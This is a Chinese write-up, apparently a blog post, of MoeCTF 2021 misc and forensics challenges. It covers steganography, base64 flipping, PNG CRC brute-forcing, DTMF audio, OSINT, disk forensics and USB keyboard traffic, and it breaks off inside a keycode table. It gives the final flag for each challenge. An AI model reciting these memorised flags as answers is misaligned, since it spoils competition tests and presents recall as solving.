<p>打开是一个以<strong> mrf</strong> 为后缀名的文件，用百度搜了很久一直说是和 mac 系统相关连的文件格式，然后下了<em> Fileview</em> 查看，看了个寂寞，<s>只有我浪费了精力和希望，百度得了流量</s> 然后上 Google 搜到是记录鼠标行为的数据文件 (<em>An MRF file is a data file created by Bartels Media Mouse Recorder</em>)，并找到下载相应的软件 <code>MacrossRecorder</code> ，然后打开 Windows 画图，运行文件并记录轨迹</p>
<p><code>moectf&#123;Rec0rder_15_Funny&#125;</code></p>
<h2 id="homework"><a class="anchor" href="#homework">#</a> <strong>Homework</strong></h2>
<p>大致按照 word 隐写的流程走一下，将字体全调成红色，发现有一处有重叠的字符，直接复制然后找一个文本框得出 <code>flag&#123;0h_U_</code> ，调整阅读视图或者在 kali 中打开发现了 <code>f1nd_m3!&#125;</code>  的文本 (或者清除格式也能看到), 最终得到 Flag</p>
<p><img data-src="https://i.loli.net/2021/09/24/9OfBvmqDg6GWrHe.png" alt="image-20210924151122930" /></p>
<p><img data-src="https://i.loli.net/2021/09/24/KysmEInGoabUqVM.png" alt="" /></p>
<p><code>moectf&#123;0h_U_f1nd_m3!&#125;</code></p>
<h2 id="flipflipflip"><a class="anchor" href="#flipflipflip">#</a> <strong>flipflipflip</strong></h2>
<p>打开文件发现末尾是 <code>=</code> ，可能用到了 base64 编码，因文件较大，复制粘贴会卡，选用 python 做题</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre>f <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'task'</span><span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="2"></td><td><pre>content <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="3"></td><td><pre>f<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr></table></figure><p>对 content 第一次解码，查看头尾</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre>content <span class="token operator">=</span> base64<span class="token punctuation">.</span>decodebytes<span class="token punctuation">(</span>content<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>content<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">)</span>  <span class="token comment"># b'=0DME1URxU'</span></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>content<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">10</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>  <span class="token comment"># b'XRXl1V41m'</span></pre></td></tr></table></figure><p>发现 = 变到了前方，需要进行翻转字符串，&lt;font color='red'&gt; 如果此时继续编码则会报错 &lt;/font&gt;</p>
<p>所以思路出来了：不断编码，报错就翻转再编码，直至出现 moe 为止</p>
<p>脚本如下：</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="2"></td><td><pre>    <span class="token keyword">try</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="3"></td><td><pre>        data <span class="token operator">=</span> base64<span class="token punctuation">.</span>decodebytes<span class="token punctuation">(</span>content<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="4"></td><td><pre>        data<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span> <span class="token comment">#注意要进行解码</span></pre></td></tr><tr><td data-num="5"></td><td><pre>    <span class="token keyword">except</span> Exception<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="6"></td><td><pre>        data <span class="token operator">=</span> base64<span class="token punctuation">.</span>decodebytes<span class="token punctuation">(</span>content<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="7"></td><td><pre>        data<span class="token punctuation">.</span><span class="token punctuation">,</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="8"></td><td><pre>    <span class="token keyword">if</span> <span class="token string">b'moe'</span> <span class="token keyword">in</span> data<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="9"></td><td><pre>        <span class="token keyword">print</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="10"></td><td><pre>        <span class="token keyword">break</span></pre></td></tr><tr><td data-num="11"></td><td><pre>    content <span class="token operator">=</span> data</pre></td></tr><tr><td data-num="12"></td><td><pre>    <span class="token comment">#b'moectf&#123;fffffflipppppp&#125;'</span></pre></td></tr></table></figure><h3 id=""><a class="anchor" href="#">#</a> </h3>
<p><code>moectf&#123;fffffflipppppp&#125;</code></p>
<h2 id="white-album"><a class="anchor" href="#white-album">#</a> <strong>White Album</strong></h2>
<p>参考博客：</p>
<blockquote>
<p><a href="">https://www.notion.so/MoeCTF-readme-txt-487c4f5e93764867b7aeead6a263c4ba#b8c0d9633d0e4bfe89ccd0fdb0f2672f</a></p>
</blockquote>
<p>打开可以看到 <code>.png</code>  ，用 kali 打开图片，打不开（白屏），网上搜了一下，是图片宽高的问题，CRC 爆破出原宽高 (找到的脚本)</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">import</span> zlib</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">import</span> struct</pre></td></tr><tr><td data-num="3"></td><td><pre></pre></td></tr><tr><td data-num="4"></td><td><pre>filename <span class="token operator">=</span> <span class="token string">'test.png'</span></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span>filename<span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="6"></td><td><pre>    all_b <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="7"></td><td><pre>    crc32key <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>all_b<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">:</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token number">16</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="8"></td><td><pre>    data <span class="token operator">=</span> <span class="token builtin">bytearray</span><span class="token punctuation">(</span>all_b<span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">:</span><span class="token number">29</span><span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="9"></td><td><pre>    n <span class="token operator">=</span> <span class="token number">4095</span>            <span class="token comment">#理论上 0xffffffff, 但考虑到屏幕实际 /cpu，0x0fff 就差不多了</span></pre></td></tr><tr><td data-num="10"></td><td><pre>    <span class="token keyword">for</span> w <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">:</span>          <span class="token comment">#高和宽一起爆破</span></pre></td></tr><tr><td data-num="11"></td><td><pre>        width <span class="token operator">=</span> <span class="token builtin">bytearray</span><span class="token punctuation">(</span>struct<span class="token punctuation">.</span>pack<span class="token punctuation">(</span><span class="token string">'>i'</span><span class="token punctuation">,</span> w<span class="token punctuation">)</span><span class="token punctuation">)</span>     <span class="token comment">#q 为 8 字节，i 为 4 字节，h 为 2 字节</span></pre></td></tr><tr><td data-num="12"></td><td><pre>        <span class="token keyword">for</span> h <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="13"></td><td><pre>            height <span class="token operator">=</span> <span class="token builtin">bytearray</span><span class="token punctuation">(</span>struct<span class="token punctuation">.</span>pack<span class="token punctuation">(</span><span class="token string">'>i'</span><span class="token punctuation">,</span> h<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="14"></td><td><pre>            <span class="token keyword">for</span> x <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="15"></td><td><pre>                data<span class="token punctuation">[</span>x<span class="token operator">+</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">=</span> width<span class="token punctuation">[</span>x<span class="token punctuation">]</span></pre></td></tr><tr><td data-num="16"></td><td><pre>                data<span class="token punctuation">[</span>x<span class="token operator">+</span><span class="token number">8</span><span class="token punctuation">]</span> <span class="token operator">=</span> height<span class="token punctuation">[</span>x<span class="token punctuation">]</span></pre></td></tr><tr><td data-num="17"></td><td><pre>            crc32result <span class="token operator">=</span> zlib<span class="token punctuation">.</span>crc32<span class="token punctuation">(</span>data<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="18"></td><td><pre>            <span class="token keyword">if</span> crc32result <span class="token operator">==</span> crc32key<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="19"></td><td><pre>                <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"宽为："</span><span class="token punctuation">,</span>end<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="20"></td><td><pre>                <span class="token keyword">print</span><span class="token punctuation">(</span>width<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="21"></td><td><pre>                <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"高为："</span><span class="token punctuation">,</span>end<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="22"></td><td><pre>                <span class="token keyword">print</span><span class="token punctuation">(</span>height<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="23"></td><td><pre>                exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span></pre></td></tr></table></figure><p>然后在 <code>010 Editor</code>  里改它的宽高部分，得到完整图片，出现条码拿到在线二维码网站解码 (后面得知是 <code>PDF417</code>   介于二维码和条形码的一种码)</p>
<p><img data-src="https://i.loli.net/2021/09/24/dvfwjZUOKyClDWR.png" alt="" /></p>
<blockquote>
<p>推荐网站： <span class="exturl" data-url="aHR0cHM6Ly9qaWVtYS53d2VpLmNuLw==">https://jiema.wwei.cn</span></p>
</blockquote>
<p><code>moectf&#123;WhY_@r3_u_s0_5K1ll3D&#125;</code></p>
<h2 id="phone-call"><a class="anchor" href="#phone-call">#</a> <strong>Phone Call</strong></h2>
<p>参考博客<span class="exturl" data-url="aHR0cHM6Ly93d3cuemhpaHUuY29tL3F1ZXN0aW9uLzE5NzgwNjgz"> https://www.zhihu.com/question/19780683</span><br />
 这种题一就很复杂，拿到 <code>audacity</code>  看到将近 21 个峰</p>
<p><img data-src="https://i.loli.net/2021/09/24/8nzZTmi7hAcKkvM.png" alt="" /></p>
<p>然后偶然发现一个网站，就起飞，嘿嘿嘿 (<em>咱没有手撕能力</em>)</p>
<blockquote>
<p><span class="exturl" data-url="aHR0cDovL2RpYWxhYmMuY29tL3NvdW5kL2RldGVjdC9pbmRleC5odG1s">http://dialabc.com/sound/detect/index.html</span></p>
</blockquote>
<p>再根据 <code>audacity</code>  给的间隔设置间隔符号就 sucess 了</p>
<p><img data-src="https://i.loli.net/2021/09/24/cSpaHYQn8R2DEgZ.png" alt="" /></p>
<p><code>moectf&#123;114514-1919810-7738-9634&#125;</code></p>
<h2 id="社工题"><a class="anchor" href="#社工题">#</a> <strong>社工题</strong></h2>
<p>Bing 或者 Google 搜索 <code>Noah的博客</code></p>
<p>先找到这个：<span class="exturl" data-url="aHR0cHM6Ly9ub2FodGllLmdpdGh1Yi5pby9hYm91dC8=">About NoahBox | NoahBox (noahtie.github.io)</span>，点击签订契约转到第二个</p>
<p>第二个：<span class="exturl" data-url="aHR0cHM6Ly9tYXN0ZXJub2FoLmxvZnRlci5jb20v">诺亚城主 (lofter.com)</span>，点击上面的 i，到第三个</p>
<p>第三个：<span class="exturl" data-url="aHR0cHM6Ly9ub2FoYm94LmdpdGh1Yi5pby9ndWVzdGJvb2sv">留言版 | Noah's TRPG Box (noahbox.github.io)</span> 留言簿中发现这个 &lt; img src=&quot;<span class="exturl" data-url="aHR0cHM6Ly9pLmxvbGkubmV0LzIwMjEvMDkvMjQvQ2tkN1JnUDk4NTJMcGJRLnBuZw==">https://i.loli.net/2021/09/24/Ckd7RgP9852LpbQ.png</span>&quot; alt=&quot;&quot; style=&quot;zoom:50%;&quot; /&gt;</p>
<p>在侧边栏找到 github 地址，进入发现被 hacked 的仓库有摩斯密码，解密即可</p>
<p><code>moectf&#123;HAHAHAHAH_NOAH_IS_A_VEGETABLE_CHICKEN&#125;</code></p>
<h2 id="好-康-的"><a class="anchor" href="#好-康-的">#</a> <strong>好 康 的</strong></h2>
<blockquote>
<p>参考博客<a target="_blank" rel="noopener" href="https://blog.csdn.net/weixin_50656679/article/details/108936650?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163249925516780262529870%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&amp;request_id=163249925516780262529870&amp;biz_id=0&amp;utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-24-108936650.pc_v2_rank_blog_default&amp;utm_term=mkv&amp;spm=1018.2226.3001.4450"> https://blog.csdn.net/weixin_50656679/article/details/108936650?ops_request_misc=%7B%22request%5Fid%22%3A%22163249925516780262529870%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fblog.%22%7D&amp;request_id=163249925516780262529870&amp;biz_id=0&amp;utm_medium=distribute.pc_search_result.none-task-blog-2<sub>blog</sub>first_rank_v2~rank_v29-24-108936650.pc_v2_rank_blog_default&amp;utm_term=mkv&amp;spm=1018.2226.300</a></p>
</blockquote>
<ol>
<li>播放发现在 3 分钟左右之后就不能播放，感觉有问题，用  <code>mkvtoolnix</code>  分离出来字幕和视频，拖进 <code>010 Editor</code>  直接搜索  <code>moectf</code>  ，找到 flag</li>
<li>用 potplayer 打开视频，然后将字幕另存为 1.ass，打开后发现最后一行为 flag</li>
</ol>
<p><img data-src="https://i.loli.net/2021/09/25/gB9Y4Z8IwPEqed7.png" alt="" /></p>
<p><code>moectf&#123;N3v3r_90tt@_L3t-y0U_dOwN~&#125;</code></p>
<h2 id="easyforensics"><a class="anchor" href="#easyforensics">#</a> <strong>easyForensics</strong></h2>
<p>用  <code>AccessData FTK Imager</code>  打开，游览找到  <code>flag.mp4</code>  ，非常惊喜，用各种办法尝试分析没得出任何信息 (虽然发现有一些很奇怪的文件)</p>
<p>等到比赛结束的时候才知道不是这个文件 (<s>Noah 设陷阱哈</s>，比赛结束后在  <code>FTK</code>  里发现一些被删除的文件夹 (Base64 命名) 还有一个 python 文件，全部导出来，然后用 bat 导出文件名</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre>DIR <span class="token operator">*</span><span class="token punctuation">.</span> <span class="token operator">*</span> <span class="token operator">/</span>B<span class="token operator">></span> LIST<span class="token punctuation">.</span>TXT</pre></td></tr></table></figure><p>看到 python 文件中有  <code>data = data.replace(&quot;/&quot;, &quot;_&quot;)</code>  我们再将 <code>_</code> 全部换成 <code>/</code></p>
<p>再用 base64 解码 (我用 <code>CyberChef</code> ) 查看 16 进制结果，发现是个 word, 网上找脚本输出 word 得出 flag</p>
<p><code>moectf&#123;Th@1s_N0t_U53FULL@_4LL&#125;</code></p>
<h2 id="r-p-g"><a class="anchor" href="#r-p-g">#</a> <strong>R P G</strong></h2>
<p><s>这个我以为要修改数据通关数据，确实也是如此因为实在过不了关</s></p>
<p>Noah 师傅传授的一种就是交换 <code>Data</code>   里的 <code>Map001.json</code>   <code>和Map002.json</code>  的文件名称，便可通过第一关拿到第一个字母，*<s> 往复循环</s> * 你就可以得到 base64 编码的一串字符串（<s>秃了也变强了</s>）</p>
<p>其实打开 map002.json，仔细查看便可以看到一列有规律的 base64 字符串，提取出来，反复解码，便得到</p>
<p><code>moectf&#123;Th3_w0rld_0f_G4m3&#125;</code></p>
<h2 id="诺亚的日记"><a class="anchor" href="#诺亚的日记">#</a> <strong>诺亚的日记</strong></h2>
<blockquote>
<p>参考博客<a target="_blank" rel="noopener" href="https://blog.csdn.net/qq_43625917/article/details/107723635?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163250153316780269830444%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&amp;request_id=163250153316780269830444&amp;biz_id=0&amp;utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-107723635.pc_search_result_hbase_insert&amp;utm_term=tshark+usb&amp;spm=1018.2226.3001.4187"> https://blog.csdn.net/qq_43625917/article/details/107723635?ops_request_misc=%7B%22request%5Fid%22%3A%22163250153316780269830444%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&amp;request_id=163250153316780269830444&amp;biz_id=0&amp;utm_medium=distribute.pc_search_result.none-task-blog-2<sub>all</sub>first_rank_ecpm_v1~rank_v31_ecpm-2-107723635.pc_search_result_hbase_insert&amp;utm_term=tshark+usb&amp;spm=1018.2226.3001.4187</a></p>
</blockquote>
<p>用 <code>101editor</code>  打开，发现了 <code>wireshark</code>  字样，正好之前用过，结果数据里面没有 <code>Leftover Capture Data</code>  ，就百度到上面的博客，在 kali 中执行以下命令，结果空白格，放到 ubuntu 里面分析，可以了 (实际<em> kali 的 tshark 的版本问题</em>)</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre>tshark -r usb.pcap -T fields -e usb.capdata <span class="token operator">></span> usbdata.txt</pre></td></tr><tr><td data-num="2"></td><td><pre>tshark -r usb.pcap -T fields -e usb.capdata <span class="token operator">|</span> <span class="token function">sed</span> <span class="token string">'/^\s*$/d'</span> <span class="token operator">></span> usbdata.txt <span class="token comment">#提取并去除空行</span></pre></td></tr></table></figure><p>便提取到了 usb 的流量数据，然后用映射关系，将所做操作提取出来</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre>normalKeys <span class="token operator">=</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="2"></td><td><pre>    <span class="token string">"04"</span><span class="token builtin class-name">:</span><span class="token string">"a"</span>, <span class="token string">"05"</span><span class="token builtin class-name">:</span><span class="token string">"b"</span>, <span class="token string">"06"</span><span class="token builtin class-name">:</span><span class="token string">"c"</span>, <span class="token string">"07"</span><span class="token builtin class-name">:</span><span class="token string">"d"</span>, <span class="token string">"08"</span><span class="token builtin class-name">:</span><span class="token string">"e"</span>,</pre></td></tr><tr><td data-num="3"></td><td><pre>    <span class="token string">"09"</span><span class="token builtin class-name">:</span><span class="token string">"f"</span>, <span class="token string">"0a"</span><span class="token builtin class-name">:</span><span class="token string">"g"</span>, <span class="token string">"0b"</span><span class="token builtin class-name">:</span><span class="token string">"h"</span>, <span class="token string">"0c"</span><span class="token builtin class-name">:</span><span class="token string">"i"</span>, <span class="token string">"0d"</span><span class="token builtin class-name">:</span><span class="token string">"j"</span>,</pre></td></tr><tr><td data-num="4"></td><td><pre>     <span class="token string">"0e"</span><span class="token builtin class-name">:</span><span class="token string">"k"</span>, <span class="token string">"0f"</span><span class="token builtin class-name">:</span><span class="token string">"l"</span>, <span class="token string">"10"</span><span class="token builtin class-name">:</span><span class="token string">"m"</span>, <span class="token string">"11"</span><span class="token builtin class-name">:</span><span class="token string">"n"</span>, <span class="token string">"12"</span><span class="token builtin class-name">:</span><span class="token string">"o"</span>,</pre></td></tr><tr><td data-num="5"></td><td><pre>      <span class="token string">"13"</span><span class="token builtin class-name">:</span><span class="token string">"p"</span>, <span class="token string">"14"</span><span class="token builtin class-name">:</span><span class="token string">"q"</span>, <span class="token string">"15"</span><span class="token builtin class-name">:</span><span class="token string">"r"</span>, <span class="token string">"16"</span><span class="token builtin class-name">:</span><span class="token string">"s"</span>, <span class="token string">"17"</span><span class="token builtin class-name">:</span><span class="token string">"t"</span>,</pre></td></tr><tr><td data-num="6"></td><td><pre>       <span class="token string">"18"</span><span class="token builtin class-name">:</span><span class="token string">"u"</span>, <span class="token string">"19"</span><span class="token builtin class-name">:</span><span class="token string">"v"</span>, <span class="token string">"1a"</span><span class="token builtin class-name">:</span><span class="token string">"w"</span>, <span class="token string">"1b"</span><span class="token builtin class-name">:</span><span class="token string">"x"</span>, <span class="token string">"1c"</span><span class="token builtin class-name">:</span><span class="token string">"y"</span>,</pre></td></tr><tr><td data-num="7"></td><td><pre>        <span class="token string">"1d"</span><span class="token builtin class-name">:</span><span class="token string">"z"</span>,<span class="token string">"1e"</span><span class="token builtin class-name">:</span><span class="token string">"1"</span>, <span class="token string">"1f"</span><span class="token builtin class-name">:</span><span class="token string">"2"</span>, <span class="token string">"20"</span><span class="token builtin class-name">:</span><span class="token string">"3"</span>, <span class="token string">"21"</span><span class="token builtin class-name">:</span><span class="token string">"4"</span>,</pre></td></tr><tr><td data-num="8"></td><td><pre>         <span class="token string">"22"</span><span class="token builtin class-name">:</span><span class="token string">"5"</span>, <span class="token string">"23"</span><span class="token builtin class-name">:</span><span class="token string">"6"</span>,<span class="token string">"24"</span><span class="token builtin class-name">:</span><span class="token string">"7"</span>,<span class="token string">"25"</span><span class="token builtin class-name">:</span><span class="token string">"8"</span>,<span class="token string">"26"</span><span class="token builtin class-name">:</span><span class="token string">"9"</span>,</pre></td></tr><tr><td data-num="9"></td><td><pre>         <span class="token string">"27"</span><span class="token builtin class-name">:</span><span class="token string">"0"</span>,<span class="token string">"28"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;RET>"</span>,<span class="token string">"29"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;ESC>"</span>,<span class="token string">"2a"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;DEL>"</span>, <span class="token string">"2b"</span><span class="token builtin class-name">:</span><span class="token string">"<span class="token entity" title="\t">\t</span>"</span>,</pre></td></tr><tr><td data-num="10"></td><td><pre>         <span class="token string">"2c"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;SPACE>"</span>,<span class="token string">"2d"</span><span class="token builtin class-name">:</span><span class="token string">"-"</span>,<span class="token string">"2e"</span><span class="token builtin class-name">:</span><span class="token string">"="</span>,<span class="token string">"2f"</span><span class="token builtin class-name">:</span><span class="token string">"["</span>,<span class="token string">"30"</span><span class="token builtin class-name">:</span><span class="token string">"]"</span>,<span class="token string">"31"</span><span class="token builtin class-name">:</span><span class="token string">"<span class="token entity" title="\\">\\</span>"</span>,</pre></td></tr><tr><td data-num="11"></td><td><pre>         <span class="token string">"32"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;NON>"</span>,<span class="token string">"33"</span><span class="token builtin class-name">:</span><span class="token string">";"</span>,<span class="token string">"34"</span><span class="token builtin class-name">:</span><span class="token string">"'"</span>,<span class="token string">"35"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;GA>"</span>,<span class="token string">"36"</span><span class="token builtin class-name">:</span><span class="token string">","</span>,<span class="token string">"37"</span><span class="token builtin class-name">:</span><span class="token string">"."</span>,</pre></td></tr><tr><td data-num="12"></td><td><pre>         <span class="token string">"38"</span><span class="token builtin class-name">:</span><span class="token string">"/"</span>,<span class="token string">"39"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;CAP>"</span>,<span class="token string">"3a"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F1>"</span>,<span class="token string">"3b"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F2>"</span>, <span class="token string">"3c"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F3>"</span>,<span class="token string">"3d"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F4>"</span>,</pre></td></tr><tr><td data-num="13"></td><td><pre>         <span class="token string">"3e"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F5>"</span>,<span class="token string">"3f"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F6>"</span>,<span class="token string">"40"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F7>"</span>,<span class="token string">"41"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F8>"</span>,<span class="token string">"42"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F9>"</span>,<span class="token string">"43"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F10>"</span>,</pre></td></tr><tr><td data-num="14"></td><td><pre>         <span class="token string">"44"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F11>"</span>,<span class="token string">"45"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F12>"</span><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="15"></td><td><pre>shiftKeys <span class="token operator">=</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="16"></td><td><pre>    <span class="token string">"04"</span><span class="token builtin class-name">:</span><span class="token string">"A"</span>, <span class="token string">"05"</span><span class="token builtin class-name">:</span><span class="token string">"B"</span>, <span class="token string">"06"</span><span class="token builtin class-name">:</span><span class="token string">"C"</span>, <span class="token string">"07"</span><span class="token builtin class-name">:</span><span class="token string">"D"</span>, <span class="token string">"08"</span><span class="token builtin class-name">:</span><span class="token string">"E"</span>,</pre></td></tr><tr><td data-num="17"></td><td><pre>     <span class="token string">"09"</span><span class="token builtin class-name">:</span><span class="token string">"F"</span>, <span class="token string">"0a"</span><span class="token builtin class-name">:</span><span class="token string">"G"</span>, <span class="token string">"0b"</span><span class="token builtin class-name">:</span><span class="token string">"H"</span>, <span class="token string">"0c"</span><span class="token builtin class-name">:</span><span class="token string">"I"</span>, <span class="token string">"0d"</span><span class="token builtin class-name">:</span><span class="token string">"J"</span>,</pre></td></tr><tr><td data-num="18"></td><td><pre>      <span class="token string">"0e"</span><span class="token builtin class-name">:</span><span class="token string">"K"</span>, <span class="token string">"0f"</span><span class="token builtin class-name">:</span><span class="token string">"L"</span>, <span class="token string">"10"</span><span class="token builtin class-name">:</span><span class="token string">"M"</span>, <span class="token string">"11"</span><span class="token builtin class-name">:</span><span class="token string">"N"</span>, <span class="token string">"12"</span><span class="token builtin class-name">:</span><span class="token string">"O"</span>,</pre></td></tr><tr><td data-num="19"></td><td><pre>       <span class="token string">"13"</span><span class="token builtin class-name">:</span><span class="token string">"P"</span>, <span class="token string">"14"</span><span class="token builtin class-name">:</span><span class="token string">"Q"</span>, <span class="token string">"15"</span><span class="token builtin class-name">:</span><span class="token string">"R"</span>, <span class="token string">"16"</span><span class="token builtin class-name">:</span><span class="token string">"S"</span>, <span class="token string">"17"</span><span class="token builtin class-name">:</span><span class="token string">"T"</span>,</pre></td></tr><tr><td data-num="20"></td><td><pre>        <span class="token string">"18"</span><span class="token builtin class-name">:</span><span class="token string">"U"</span>, <span class="token string">"19"</span><span class="token builtin class-name">:</span><span class="token string">"V"</span>, <span class="token string">"1a"</span><span class="token builtin class-name">:</span><span class="token string">"W"</span>, <span class="token string">"1b"</span><span class="token builtin class-name">:</span><span class="token string">"X"</span>, <span class="token string">"1c"</span><span class="token builtin class-name">:</span><span class="token string">"Y"</span>,</pre></td></tr><tr><td data-num="21"></td><td><pre>         <span class="token string">"1d"</span><span class="token builtin class-name">:</span><span class="token string">"Z"</span>,<span class="token string">"1e"</span><span class="token builtin class-name">:</span><span class="token string">"!"</span>, <span class="token string">"1f"</span><span class="token builtin class-name">:</span><span class="token string">"@"</span>, <span class="token string">"20"</span><span class="token builtin class-name">:</span><span class="token string">"#"</span>, <span class="token string">"21"</span><span class="token builtin class-name">:</span><span class="token string">"$"</span>,</pre></td></tr><tr><td data-num="22"></td><td><pre>          <span class="token string">"22"</span><span class="token builtin class-name">:</span><span class="token string">"%"</span>, <span class="token string">"23"</span><span class="token builtin class-name">:</span><span class="token string">"^"</span>,<span class="token string">"24"</span><span class="token builtin class-name">:</span><span class="token string">"&amp;"</span>,<span class="token string">"25"</span><span class="token builtin class-name">:</span><span class="token string">"*"</span>,<span class="token string">"26"</span><span class="token builtin class-name">:</span><span class="token string">"("</span>,<span class="token string">"27"</span><span class="token builtin class-name">:</span><span class="token string">")"</span>,</pre></td></tr><tr><td data-num="23"></td><td><pre>          <span class="token string">"28"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;RET>"</span>,<span class="token string">"29"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;ESC>"</span>,<span class="token string">"2a"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;DEL>"</span>, <span class="token string">"2b"</span><span class="token builtin class-name">:</span><span class="token string">"<span class="token entity" title="\t">\t</span>"</span>,<span class="token string">"2c"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;SPACE>"</span>,</pre></td></tr><tr><td data-num="24"></td><td><pre>          <span class="token string">"2d"</span><span class="token builtin class-name">:</span><span class="token string">"_"</span>,<span class="token string">"2e"</span><span class="token builtin class-name">:</span><span class="token string">"+"</span>,<span class="token string">"2f"</span><span class="token builtin class-name">:</span><span class="token string">"&#123;"</span>,<span class="token string">"30"</span><span class="token builtin class-name">:</span><span class="token string">"&#125;"</span>,<span class="token string">"31"</span><span class="token builtin class-name">:</span><span class="token string">"|"</span>,<span class="token string">"32"</span><span class="token 